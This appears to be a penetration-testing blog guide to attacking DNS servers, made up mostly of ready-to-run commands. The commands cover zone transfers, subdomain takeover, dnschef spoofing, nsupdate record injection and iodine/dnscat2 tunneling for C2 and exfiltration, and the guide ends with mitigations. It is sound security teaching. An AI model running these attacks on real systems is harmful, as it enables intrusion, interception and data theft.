Updated on July 6, 2026

DNS is the first thing I touch on almost every external and internal engagement, and it is criminally underrated as an attack surface. Everyone rushes to SMB, web, and Kerberos, but a misconfigured name server will happily hand you the entire internal network map before you have fired a single exploit. Zone transfers, SRV records pointing straight at domain controllers, subdomains that reveal staging and admin panels, SPF/DMARC gaps that make phishing trivial - it is all sitting on UDP/TCP 53 waiting for someone to ask nicely.

So this is the playbook I actually run against port 53, in the order I run it. We start passive and quiet, move into active enumeration, identify the misconfigurations that matter, and then get into exploitation and post-exploitation. Whether you are attacking a public-facing authoritative server or an internal Active Directory integrated DNS server, the flow is the same. Mastering DNS pentesting is essential for any modern red teamer or penetration tester.

Now, I know what you are thinking - "it's just DNS, what's the worst that happens?" The worst is you walk away with a full internal hostname inventory, valid usernames pulled from record naming conventions, and a phishing-ready domain because their email records are wide open. Let's get into it.

Note: Before pentesting any system, have proper authorization from concerned authorities and follow ethical guidelines. Everything below assumes you are testing a scope you are legally allowed to test.

Port Information

DNS runs across a few ports depending on transport and feature set. Know all of them so you do not miss a listener. Proper port 53 enumeration starts with identifying all available transport mechanisms.

• 53/udp - Standard DNS queries (default for most lookups)
• 53/tcp - Zone transfers and any response larger than 512 bytes (also used when UDP is filtered)
• 853/tcp - DNS over TLS (DoT)
• 5353/udp - Multicast DNS (mDNS), common on internal networks
• 5355/udp - LLMNR (link-local name resolution, a classic internal poisoning target)

Service Overview

DNS translates names to records. The record types you care about as an attacker:

• A / AAAA - Hostname to IPv4 / IPv6. Your bread and butter for mapping hosts.
• PTR - Reverse lookup, IP back to hostname. Great for internal ranges.
• NS - Name servers for the zone. Tells you who to ask and who to attack.
• SOA - Start of Authority. Contains the primary NS, admin email, and serial number.
• MX - Mail exchangers. Reveals the email provider (Outlook/O365, Google, on-prem Exchange).
• CNAME - Aliases. The gold mine for subdomain takeover.
• TXT - Free text, holds SPF, DMARC, DKIM, domain verification tokens, and sometimes way too much internal info.
• SRV - Service location records. On AD this points straight to LDAP, Kerberos, and Global Catalog. This is how you find the domain controllers.

Common implementations you will run into: BIND (Linux, most public authoritative servers), Microsoft DNS (AD integrated, look for it on domain controllers), PowerDNS, dnsmasq (routers, small deployments), and Unbound (recursive resolvers). Microsoft DNS on a DC is the jackpot because DNS, LDAP, and Kerberos are all colocated.

Attack Vectors

Here is the full menu we are going to work through:

• Zone transfer (AXFR/IXFR) to dump the entire zone
• Subdomain enumeration and brute forcing
• SRV record enumeration to locate domain controllers and services
• Reverse lookups to map internal ranges
• DNS recursion / open resolver abuse (amplification risk)
• DNS cache snooping for information disclosure
• DNSSEC zone walking (NSEC/NSEC3)
• Subdomain takeover via dangling CNAMEs
• SPF/DMARC/DKIM gaps enabling email spoofing
• DNS cache poisoning / spoofing
• Dynamic DNS update injection
• DNS tunneling for C2 and exfiltration

Prerequisites

• Access Level: Network access to the target resolver/authoritative server. Some techniques (dynamic updates, internal SRV) benefit from being inside the network or having a domain user.
• Target Environment: Any DNS server - BIND, Microsoft DNS, PowerDNS, dnsmasq.
• Tools: Install the core kit up front. You can read more about network mappers like Nmap on their official site.

# Core DNS tooling
apt install dnsutils dnsrecon dnsenum fierce nmap -y   # dig, nslookup, host live in dnsutils

# Subdomain enum tooling
apt install amass -y
go install -v github.com/owasp-amass/amass/v4/...@master
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install github.com/OJ/gobuster/v3@latest
pip install sublist3r

# Subdomain takeover
go install github.com/haccer/subjack@latest
go install github.com/LukaSikic/subzy@latest

# Metasploit for the auxiliary modules
apt install metasploit-framework -y

Reconnaissance

Start passive. Do not touch the target's own name servers until you have squeezed everything out of third-party data. This keeps you quiet and often gives you 80 percent of the map for free.

Passive - Third-Party Data

# WHOIS - registrar, name servers, sometimes admin contacts
whois domain.local

# Certificate transparency logs - subdomains from issued certs (very high signal)
curl -s "https://crt.sh/?q=%25.domain.local&output=json" | jq -r '.[].name_value' | sort -u

# Passive subdomain sources (no direct queries to the target NS)
subfinder -d domain.local -all -silent
amass enum -passive -d domain.local
sublist3r -d domain.local

DNSDumpster (dnsdumpster.com) is an online tool worth a look here too. It pulls DNS records and subdomains, and the MX records usually reveal the email service provider (Outlook/O365, Google Workspace, or on-prem) which tells you how to shape later phishing. Check every DNS record and sub-domain it returns before you go active. These DNS reconnaissance strategies form the foundation of our attack methodology.

Active - Discovery Scanning

Now we start asking the target directly. First, find the DNS servers in the range.

# Find DNS servers across a range with a vuln pass
nmap --script vuln,vulners --script-args mincvss=7.0 -sC -sV -p 53 --open 10.10.0.0/16

# Broad NSE discovery + vuln, skipping the noisy/dangerous scripts
nmap -sU -sV --script "dns* and (discovery or vuln) and not (dos or brute)" -p53 10.10.10.10

Then confirm the server and grab basic records with the classics.

# host - quick record lookups
host domain.local 10.10.10.1          # A records
host -t ns domain.local 10.10.10.1    # name servers
host -t mx domain.local 10.10.10.1    # mail exchangers

# nslookup - interactive, point it at the target server first
nslookup
> SERVER 10.10.10.1
# Give the ip address of the server to find its hostname
> 10.10.10.10
10.10.10.10.in-addr.arpa      name = host02.test.domain.

Enumeration

With the servers identified, pull everything the zone will give you.

Record Enumeration with dig

dig is the precision tool. Syntax is dig @[server] [name] [type].

# General form
dig @10.10.10.1 domain.local A
dig @10.10.10.1 domain.local ANY      # ask for everything (often filtered now)
dig @10.10.10.1 domain.local NS
dig @10.10.10.1 domain.local MX
dig @10.10.10.1 domain.local SOA
dig +short @10.10.10.1 domain.local   # just the answer, scriptable

SRV Records and Domain Controller Discovery

On Active Directory, SRV records are the fast path to the DCs and core services. This is where DNS enumeration feeds straight into your AD attack path.

# Locate core AD services via SRV records
dig -t SRV _gc._tcp.domain.local           # Global Catalog
dig -t SRV _ldap._tcp.domain.local         # LDAP / domain controllers
dig -t SRV _kerberos._tcp.domain.local     # Kerberos KDC
dig -t SRV _kpasswd._tcp.domain.local      # Kerberos password change

# nmap SRV enumeration for common AD service records
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain"='domain.local'

Once you know the DC, confirm the domain name and pull base info over LDAP.

# Find the domain name of the DC
ldapsearch -x -h "10.10.10.1" -s base

# Anonymous base query for naming contexts / creds hints
ldapsearch -LLL -x -H ldap://dc01.domain.local -b '' -s base '(objectclass=*)'

From here you are into full domain enumeration. If SRV records handed you the DCs, pivot into the Pentesting Domain Controllers Cheatsheet and the Active Directory Penetration Testing Cheat Sheet to keep the chain going. If the environment is FreeIPA rather than Windows AD, DNS zones are often exposed through LDAP too - see the FreeIPA LDAP Enumeration cheatsheet.

Email Security Records (SPF / DMARC / DKIM)

TXT records tell you how spoofable the domain is. Weak SPF/DMARC means phishing that lands in the inbox instead of spam.

SPF policy meanings:

• -all (Hard Fail): Strict rejection of email from unauthorized servers.
• ~all (Soft Fail): Flag or mark email from unauthorized servers as suspicious.
• +all (Allow All): Allows email from any server, effectively disabling SPF checks. This is a finding.
• ?all (Neutral): No strong recommendation; recipient decides.

# Single domain SPF
dig txt domain.local | grep "include:_spf"

# Bulk SPF scan
while read -r domain; do echo "$domain:"; dig txt "$domain" | grep "include:_spf"; done < domains.txt

For DMARC, start at p=none, review the reports to confirm legitimate senders are authenticated, then tighten to p=quarantine or p=reject. A domain sitting at p=none (or with no DMARC at all) is spoofable.

Example: v=DMARC1; p=none; rua=mailto:[email protected];

# Single domain DMARC
dig txt _dmarc.domain.local

# Bulk DMARC scan
while read -r domain; do echo "$domain:"; dig txt "_dmarc.$domain" | grep "DMARC"; done < domains.txt

# DKIM - selectors vary, common ones are default, google, selector1, selector2, k1
dig txt default._domainkey.domain.local
dig txt selector1._domainkey.domain.local

DNSRecon - The Workhorse

dnsrecon bundles most of the enumeration you want into one tool.

# List all DNS entries across a range (reverse sweep)
dnsrecon -r "10.10.0.0/16"

# Standard scan of a domain (SOA, NS, A, AAAA, MX, SRV)
dnsrecon -d hackingdream.net

# -t selects the record/scan type:
# std        = standard DNS records (default)
# rvl        = reverse IP lookup
# axfr       = zone transfer against every NS
# zonewalk   = DNSSEC NSEC zone walk
# snoop      = cache snooping
dnsrecon -d domain.local -t std

# Reverse DNS lookup for an IP or CIDR range
dnsrecon -d domain.local -t rvl

# DNSSEC zone walk by querying NSEC records
dnsrecon -d domain.local -t zonewalk

# Cache snooping with a supplied dictionary
dnsrecon -d domain.local -t snoop -D /usr/share/wordlists/subdomains.txt

# Bruteforce sub-domains
dnsrecon -d domain.local -t brt -D /usr/share/wordlists/dnsmap.txt

Other Enumeration Tools

# dnsenum - all-in-one enum including zone transfer attempts and brute force
dnsenum domain.local

# fierce - subdomain discovery and range scanning
fierce --dns domain.local
fierce --dns domain.local --wordlist /usr/share/wordlists/dnsmap.txt

Subdomain Brute Forcing

Passive sources miss internal-only and freshly created hosts. Brute forcing with a good resolver setup catches them. Progress from small wordlists to large ones. Tools from the OWASP Amass project are highly recommended here.

# gobuster DNS mode - fast and reliable
gobuster dns -d domain.local -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

# ffuf via Host/subdomain fuzzing against DNS
ffuf -u "http://domain.local" -H "Host: FUZZ.domain.local" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

# amass active brute force
amass enum -active -brute -d domain.local -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

# dnsx - resolve and filter a candidate list at speed
subfinder -d domain.local -silent | dnsx -silent -a -resp

Vulnerability Identification

Now we flag the specific misconfigurations worth exploiting or reporting.

Recursion / Open Resolver

A server that answers recursive queries for arbitrary domains from the internet is an open resolver. That is a DDoS amplification liability and an information leak.

# DNS server processes unauthoritative recursive queries
nmap -Pn -p 53 -sU --script dns-recursion 10.10.10.10

# Manual check - ask for a domain the server is not authoritative for
dig @10.10.10.10 google.com A +recurse
# If you get a full recursive answer, recursion is open to you

Cache Snooping

If recursion is exposed, you can ask whether a record is already cached (non-recursive query) to learn what the server's clients have been resolving - internal tooling, update servers, cloud providers, and so on.

# DNS server cache snooping remote information disclosure
nmap -Pn -sU -sV -p 53 --script dns-cache-snoop 10.10.10.10

# Manual non-recursive cache probe
dig @10.10.10.10 update.internal-tool.local A +norecurse
# An answer with a TTL below the record max means it was already cached

Zone Transfer Misconfiguration

If a name server allows AXFR to anyone, it will dump the entire zone. This is one of the highest-value DNS findings. We identify it here and weaponize it in the next section.

# Quick check - does any NS answer an AXFR?
dnsrecon -d domain.local -t axfr

DNSSEC Zone Walking

DNSSEC signed zones using NSEC leak the full record list through walking, since NSEC records point to the next name in the zone.

dnsrecon -d domain.local -t zonewalk
# For NSEC3 (hashed), use nsec3walker/nsec3map to walk and crack the hashes offline

Subdomain Takeover Candidates

Any CNAME pointing at a de-provisioned cloud resource (S3, Azure, GitHub Pages, Heroku, etc.) is a takeover candidate.

# Flag dangling CNAMEs from your resolved subdomain list
subfinder -d domain.local -silent | dnsx -silent -cname -resp
# Cross-reference targets that return NXDOMAIN or a "not found" service banner

NSE Vulnerability Pass

# The vuln/vulners pass from recon also flags known CVEs on the DNS software version
nmap --script vuln,vulners --script-args mincvss=7.0 -sC -sV -p 53 --open 10.10.10.10

Exploitation

Zone Transfer (AXFR)

This is the classic. To get dig to perform a zone transfer, invoke it with -t AXFR.

# Full zone transfer - pulls all records for the domain
dig @10.10.10.1 domain.local -t AXFR
dig axfr host02.test.domain @10.10.10.1     # short form

# Alternate tools for the same result
host -la domain.local 10.10.10.1
dnsrecon -d domain.local -t axfr
fierce --dns domain.local                   # attempts AXFR against each NS automatically

Incremental Zone Transfer (IXFR)

dig can also pull only records changed since a given serial, using the SOA serial number as N.

# Incremental transfer - only records updated since serial N
dig @10.10.10.1 domain.local -t IXFR=1001

A successful AXFR gives you every A, CNAME, MX, SRV, and TXT record in the zone at once - internal hostnames, DCs, mail infra, and naming conventions you can turn into username guesses.

Metasploit Automation

# DNS enumeration module
use auxiliary/gather/enum_dns
set DOMAIN domain.local
set NS 10.10.10.1
run

# Identify amplification / open resolver exposure across a range
use auxiliary/scanner/dns/dns_amp
set RHOSTS 10.10.0.0/16
run

Subdomain Takeover

Once you have a dangling CNAME candidate, confirm and claim it (only on in-scope assets you are authorized to take over).

# subjack - checks a list of hosts against known takeover fingerprints
subjack -w subdomains.txt -t 50 -timeout 30 -ssl -c /root/go/src/github.com/haccer/subjack/fingerprints.json -v

# subzy - modern fingerprint-based checker
subzy run --targets subdomains.txt

# nuclei with the takeover templates
nuclei -l subdomains.txt -t http/takeovers/

If confirmed, register the orphaned resource on the pointed-to provider to serve content from the target subdomain - that is your proof of concept for the report.

DNS Amplification / Open Resolver Abuse

An open resolver returns a large response to a small query, which attackers abuse to reflect traffic at a victim. In an engagement your job is to demonstrate the exposure, not to launch traffic. Measure the amplification factor and document it.

# Demonstrate amplification factor - large response from a small query
dig @10.10.10.10 ANY isc.org +edns=0
# Compare query size vs response size to quantify the amplification ratio

Report open recursion as the root cause and move on. Do not point this at anything you do not own.

DNS Cache Poisoning / Spoofing

If you can respond to a resolver's outbound queries faster than the legitimate authoritative server (on-path, or by winning the race on a predictable source port/TXID), you can inject forged records. On internal engagements a rogue resolver is the practical version of this.

# dnschef - rogue DNS proxy for MITM / spoofing during internal tests
dnschef --fakeip 10.10.10.50 --fakedomains target-app.domain.local --interface 10.10.10.10

# Combined with ARP spoofing to become the client's resolver
# (ettercap/bettercap position you on-path first, then dnschef answers)

This is where DNS ties into LLMNR/NBT-NS poisoning on internal networks - if you are already relaying, spoofed name resolution feeds credential capture.

Dynamic DNS Update Injection

Microsoft DNS with insecure dynamic updates lets an unauthenticated attacker add or overwrite records - point a hostname at your box and intercept traffic. Exploiting this is a core technique in advanced DNS exploitation routines.

# nsupdate - add/overwrite a record if the zone allows insecure updates
nsupdate
> server 10.10.10.1
> update add evil.domain.local 3600 A 10.10.10.50
> send

Post-Exploitation

DNS Tunneling for C2 and Exfiltration

DNS is almost always allowed outbound, so it makes a reliable covert channel when everything else is filtered. All three tools below run a resolver-side server and a client on the compromised host.

# iodine - full IP-over-DNS tunnel
# Server (your infra, authoritative for the tunnel subdomain)
iodined -f -c -P password 10.9.0.1 t.domain.local
# Client (compromised host)
iodine -f -P password t.domain.local

# dnscat2 - purpose-built encrypted DNS C2
# Server
dnscat2-server domain.local
# Client
dnscat2 --dns server=10.10.10.10,domain=domain.local --secret=

# dns2tcp - tunnel a specific TCP service over DNS
dns2tcpc -r ssh -k password -d domain.local 10.10.10.10

Turning Records into Targets

The zone data you dumped earlier is your lateral movement roadmap. Reverse-resolve the internal ranges you found, feed hostnames into your host discovery, and use SRV records to prioritize domain controllers and service accounts. DNS naming conventions (like sql01, bak-, dev-, vpn-) point you straight at the interesting boxes.

Detection & Mitigation

For the defenders reading this (and for your report's remediation section):

• Restrict zone transfers. Allow AXFR only to explicitly listed secondary name servers. Everyone else gets denied.
• Disable open recursion. Authoritative servers should not recurse for the internet. Split authoritative and recursive roles, and restrict recursion to internal clients.
• Require secure dynamic updates on Microsoft DNS. Never leave zones set to insecure updates.
• Deploy strong SPF (-all), DMARC (p=reject), and DKIM. Close the spoofing gap.
• Use NSEC3 with opt-out instead of NSEC to slow zone walking, and rotate salts.
• Decommission cleanly. Remove DNS records when you tear down cloud resources to kill subdomain takeover.
• Monitor for anomalies. High volumes of TXT/NULL queries, long/base32-looking subdomains, and steady low-throughput query streams are DNS tunneling signatures. Rate-limit responses (RRL) to blunt amplification.
• Log and alert on AXFR attempts from non-secondary IPs and on ANY query floods.

Conclusion

DNS gives up more than almost any other service when it is misconfigured - a single successful zone transfer or an SRV lookup can hand you the internal map and the path to the domain controllers before you have touched a real exploit. Work it in order: passive first, then active enumeration, flag the recursion/transfer/takeover misconfigurations, and only then exploit. Wire the DNS findings into your AD and email attack paths and you will get far more mileage out of port 53 than most people ever do.

Use this only against systems you are authorized to test. Well, that's the port 53 playbook - happy hacking!

Enjoyed this guide? Share your thoughts below and tell us how you leverage DNS pentesting in your projects!

DNS pentesting, port 53 enumeration, DNS exploitation, cybersecurity, penetration testing, zone transfer

## use Below CSS